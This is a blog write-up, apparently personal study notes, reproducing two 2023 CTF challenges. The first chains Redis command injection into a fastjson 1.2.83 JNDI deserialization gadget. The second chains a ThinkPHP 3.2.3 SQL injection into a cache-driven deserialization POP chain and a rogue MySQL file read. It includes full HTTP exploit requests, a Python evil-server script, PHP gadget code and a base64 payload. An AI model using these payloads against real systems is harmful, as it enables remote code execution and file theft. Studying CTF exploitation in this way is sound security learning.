2023中华武数杯复现

Aerocraft

题目信息

给了附件,就是一个springboot项目,直接idea打开即可。
看下比较关键的几个依赖。

<dependencies>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-data-redis</artifactId>
    </dependency>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.83</version>
    </dependency>
    <dependency>
        <groupId>com.epam.reportportal</groupId>
        <artifactId>commons-dao</artifactId>
        <version>5.0.0</version>
    </dependency>
</dependencies>

利用思路

  • redis命令注入,往redis数据库里写入反序列化payload
  • 使用/getOneCache路由,触发RedisUtils#getValue,进而触发反序列化payload

redis命令注入(题目自带)

image.png
image.png
下面这条语句,是Java通过Socket来调用redis服务器时的特殊写法,具体含义参考这篇文章

String sendInfo = "*2\r\n$4\r\nauth\r\n$" + passlength + "\r\n" + password.replace("\r\n", "") + "\r\n";

代码漏洞在于, 把传入的password里的"\r\n"替换为空,可以双写"\r\r\n\n"绕过,执行redis命令。
用burpsuite的hex功能双写一下,查看是否可以命令注入。
image.png
image.png
显然成功执行命令,这说明我们可以操作redis数据库,存储键值对。
image.png
image.png

redis组件存在fastjson反序列化点

首先,redis组件取缓存的值的时候,会调用fastjson对其进行反序列化。
ValueOperations#get(key)底层会调用JSON#ParseObject(value),函数调用栈如下

deserialize:35, GenericFastJsonRedisSerializer
deserializeValue:360, AbstractOperations
doInRedis:62, AbstractOperations$ValueDeserializingRedisCallback
execute:223, RedisTemplate
execute:190, RedisTemplate
execute:97, AbstractOperations
get:54, DefaultValueOperations
getValue:51, RedisUtils

因为redis命令注入,value可控,显然我们得到了fastjson反序列化的入口点。

fastjson1.2.83 springboot+commons-dao组件利用链

fastjson 1.2.83版本其实是很难利用的,我的了解只到fastjson 1.2.68,太菜了(
题目在RedisConfig里,设置了value反序列化时,指定使用的serializer。
image.png
里边开了AutoTypeSupport,方便了我们的利用,我们只需要去绕黑名单了。
image.png
这题用的是HikariCP组件的POC,不过它在1.2.60的时候被添加到黑名单里了,没法直接用。

<dependency>
  <groupId>com.zaxxer</groupId>
  <artifactId>HikariCP</artifactId>
  <version>3.3.1</version>
</dependency>
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"JNDI_SERVER"}

但是,commons-dao这个组件的DataSourceConfig继承了HikariConfig类。
image.png
注意:commons-dao依赖于springboot环境。
到这利用链结束,这链子我在网上没搜到分析文章,挺nb的,不知道是用分析工具还是自己挖的。

{
  "@type": "com.epam.ta.reportportal.config.DataSourceConfig",
  "metricRegistry": "rmi://localhost:1099/remoteObj"
}

Exp

本地

注意这里不可见字符,在Hex里把"\r\n"改成"\r\r\n\n"了,,redis密码是我本地的。

POST /api/redisAuth HTTP/1.1
Host: localhost:8080
Content-Length: 139
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="118", "Microsoft Edge";v="118", "Not=A?Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.76
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: http://localhost:8080/api/redisAuth
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Phpstorm-f79a9377=3e21da47-6d71-4d02-936d-b41422544fc2; XDEBUG_SESSION=PHPSTORM; session=s%3Ab-zkSipBU9ntmSQMmLnoRSpf4OuPTwMm.wkyjoWNGK5raO7Ias8qPMTQger%2B44biLNN6rVX1fXnE; _xsrf=2|8d5d03db|5dce8dd7be3dfc12d296d32f3c1a067f|1698055194; username-localhost-8888="2|1:0|10:1698055412|23:username-localhost-8888|44:MTE5MTg2NzY3NTcwNGYyZWIwNmExZjc2ZTk3ZjFjNjM=|30c0e0c88eac61a872a523f86792f627187795a72b9be9a9c5fd1670fcbb7a8c"
sec-fetch-user: ?1
Connection: close

password=root


set 123 '{"@type": "com.epam.ta.reportportal.config.DataSourceConfig","metricRegistry": "rmi://localhost:1099/remoteObj"}'

这里访问对应路由,触发反序列化。

POST /api/getOneCache HTTP/1.1
Host: localhost:8080
Content-Length: 6
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="118", "Microsoft Edge";v="118", "Not=A?Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.76
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: http://localhost:8080/api/getOneCache
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Phpstorm-f79a9377=3e21da47-6d71-4d02-936d-b41422544fc2; XDEBUG_SESSION=PHPSTORM; session=s%3Ab-zkSipBU9ntmSQMmLnoRSpf4OuPTwMm.wkyjoWNGK5raO7Ias8qPMTQger%2B44biLNN6rVX1fXnE; _xsrf=2|8d5d03db|5dce8dd7be3dfc12d296d32f3c1a067f|1698055194; username-localhost-8888="2|1:0|10:1698055412|23:username-localhost-8888|44:MTE5MTg2NzY3NTcwNGYyZWIwNmExZjc2ZTk3ZjFjNjM=|30c0e0c88eac61a872a523f86792f627187795a72b9be9a9c5fd1670fcbb7a8c"
Connection: close

id=123

远程

环境有问题, 远程打不通,docker环境有点问题。

小结

  • redis命令注入
  • redis组件存在反序列化点
  • commons-dao存在jndi注入点

tp

题目信息

核心就只有一个index路由,index方法用的I()方法,存在过滤,但是page方法没有,可以用过find注入。
image.png

解题思路

SQL注入控制查询缓存

首先,page方法存在一个find型的sql注入,这里通过mi1k7ea师傅的总结可以试出来。
image.png
find方法传的参数可以是数组,如果cache存在,会尝试利用S()方法去查询缓存里找数据
image.png
S()方法会根据$options的设定,先创建一个指定类型的cache实例,然后再调它的get方法,这里很重要
image.png
ThinkPHP支持的缓存类型有很多,默认的是FILE类型。
image.png

Apachenote缓存存在反序列化点

我们通过sql注入,是可以指定查询缓存的类型的,而Apachenote.classs.php这个缓存有反序列化点。
上一节提到,S()方法最后是会调用某个指定的cache示例的get方法的。
Apachenote.classs.php#get,会去指定的服务器上读data,然后反序列化data。
image.png
跟一下open方法,看看它默认访问哪个服务器,发现是由this->options[]里面的host和port来确定的
image.png
而this->options[]是可以在实例化时,通过传递$options数组控制的,上一节我们提到S()方法会先实例化cache
image.png
到这里,我们就可以本地起一个evil server,里面写好反序列化payload,然后发sql注入payload到服务器,让服务器来连我们的evil server,读取反序列化payload,触发反序列化。

TP反序列化链+Mysql服务端伪造读文件

本质上,ThinkPHP3.2.3有一条反序列化链,可以让服务器发送Mysql请求,然后结合Mysql服务端伪造,
可以实现任意文件读取漏洞。

Exp

  • 用python起个server,用来给服务器连,然后给服务器发送发序列化数据,触发反序列化
  • 用php起个roguemysql的server,用来伪造Mysql服务端读文件
  • 发送sql注入payload,触发整个链条
import socket
import threading
import base64

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 29999))
s.listen(3)

def exploit(sock, addr):
    print('Accept new connection from %s:%s...' % addr)
    sock.recv(1024)
    exp = "YToyOntpOjA7TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjQxOiJteXNxbC51c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsdXNlcigpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjk6InRoaW5rcGhwMyI7czo4OiJob3N0bmFtZSI7czo5OiIxMjcuMC4wLjEiO3M6ODoiaG9zdHBvcnQiO3M6NDoiMzMwNyI7czo3OiJjaGFyc2V0IjtzOjQ6InV0ZjgiO3M6ODoidXNlcm5hbWUiO3M6NDoicm9vdCI7czo4OiJwYXNzd29yZCI7czowOiIiO319fX19aTowO2k6MDt9"
    sock.send(bytes(base64.b64decode(exp)))
    sock.close()
    print('Connection from %s:%s closed.' % addr)

while True:
    sock, addr = s.accept()
    t = threading.Thread(target=exploit, args=(sock, addr))
    t.start()

注意下面反序列化exp的构造,使用了Fast-Destruct的trick,提前触发_destruct,不然会Fatal Error。

<?php
  namespace Think\Db\Driver{
  use PDO;
class Mysql{
  protected $options = array(
    PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
  );
  protected $config = array(
    "debug"    => 1,
    "database" => "thinkphp3",
    "hostname" => "127.0.0.1",
    "hostport" => "3307",
    "charset"  => "utf8",
    "username" => "root",
    "password" => ""
  );
}
}

namespace Think\Image\Driver{
  use Think\Session\Driver\Memcache;
  class Imagick{
    private $img;

    public function __construct(){
      $this->img = new Memcache();
    }
  }
}

namespace Think\Session\Driver{
  use Think\Model;
  class Memcache{
    protected $handle;

    public function __construct(){
      $this->handle = new Model();
    }
  }
}

namespace Think{
  use Think\Db\Driver\Mysql;
  class Model{
    protected $options   = array();
    protected $pk;
    protected $data = array();
    protected $db = null;

    public function __construct(){
      $this->db = new Mysql();
      $this->options['where'] = '';
      $this->pk = 'id';
      $this->data[$this->pk] = array(
        "table" => "mysql.user where 1=updatexml(1,user(),1)#",
        "where" => "1=1"
      );
    }
  }
}

namespace {
  // Fast-Destruct方式去提前触发destruct
  $exp = serialize(new Think\Image\Driver\Imagick());
  $exp = "a:2:{i:0;" . $exp . "i:0;i:0;}";
  echo base64_encode($exp);
}
//YToyOntpOjA7TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjQxOiJteXNxbC51c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsdXNlcigpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjk6InRoaW5rcGhwMyI7czo4OiJob3N0bmFtZSI7czo5OiIxMjcuMC4wLjEiO3M6ODoiaG9zdHBvcnQiO3M6NDoiMzMwNiI7czo3OiJjaGFyc2V0IjtzOjQ6InV0ZjgiO3M6ODoidXNlcm5hbWUiO3M6NDoicm9vdCI7czo4OiJwYXNzd29yZCI7czowOiIiO319fX19aTowO2k6MDt9
index.php?s=Home/Index/page&cid[where]=1&cid[cache]=jasper&cid[cache][key]=jasper&cid[cache][type]=Apachenote&cid[cache][host]=127.0.0.1&cid[cache][port]=29999&cid[cache][timeout]=1000

image.png

小结

由sql注入,到反序列化,再到mysql服务端伪造读文件,还学到了Fast-Destruct这个trick,很综合的一道题。

参考链接

tp3.2.3 反序列化+SQL注入利用@j1ang
CTF复现计划@Lxxx
ThinkPHP3.2.3 SQL注入点总结@mi1k7ea
tp3.2.3官方手册
Rogue-MySql-Server

posted @ 2023-12-06 21:59  Jasper_sec  阅读(59)  评论(0编辑  收藏  举报